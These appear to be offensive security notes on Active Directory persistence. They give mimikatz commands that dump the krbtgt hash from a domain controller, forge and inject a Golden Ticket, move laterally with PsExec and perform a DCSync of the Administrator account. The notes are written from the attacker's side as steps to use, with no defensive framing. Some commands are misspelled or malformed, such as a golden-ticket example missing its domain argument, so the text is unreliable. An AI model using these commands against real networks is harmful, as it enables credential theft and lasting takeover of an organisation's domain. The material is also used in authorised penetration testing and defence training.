AD Persistence

Golden Tickets

This technique lets you create your own self-made custom TGTs (gonden tickets). To do that, you will need a password hash for krbtgt account. This hash is used by the KDC to encrypt the TGT.


Need to have access to a user that is in the Domain Admins group. To get the krbtgt password hash, this user needs to log in to the DC (e.g. via remote desktop), which will log the hash and can be extracted via mimikatz

krbtgt hash

# in mimikatz

lsadump::lsa /patch # this will list NTLM hashes, including the krbtgt one

Generating the Golden Ticket

# in mimikatz
kerberos::purge # deletes all tickets, may not be necesary 

kerberos::golder /user:<some_fake_name> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt_hash> /ptt

# example:
kerberos::golden /user:fakeuser / /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt

With the golden ticket injected into memory, we can launch a new command prompt with misc::cmd and again attempt lateral movement with PsExec.


psexec.exe \\<domain> cmd.exe # <domain> e.g. dc01

DC Synchronization

In production environments, domains typically have more than one domain controller to provide redundancy. The Directory Replication Service Remote Protocol uses replication to synchronize these redundant domain controllers. A domain controller may request an update for a specific object, like an account, with the IDL_DRSGetNCChanges703 API. Luckily for us, the domain controller receiving a request for an update does not verify that the request came from a known domain controller, but only that the associated SID has appropriate privileges. If we attempt to issue a rogue update request to a domain controller from a user who is a member of the Domain Admins group, it will succeed.


lsadump::dcsync /user:Administrator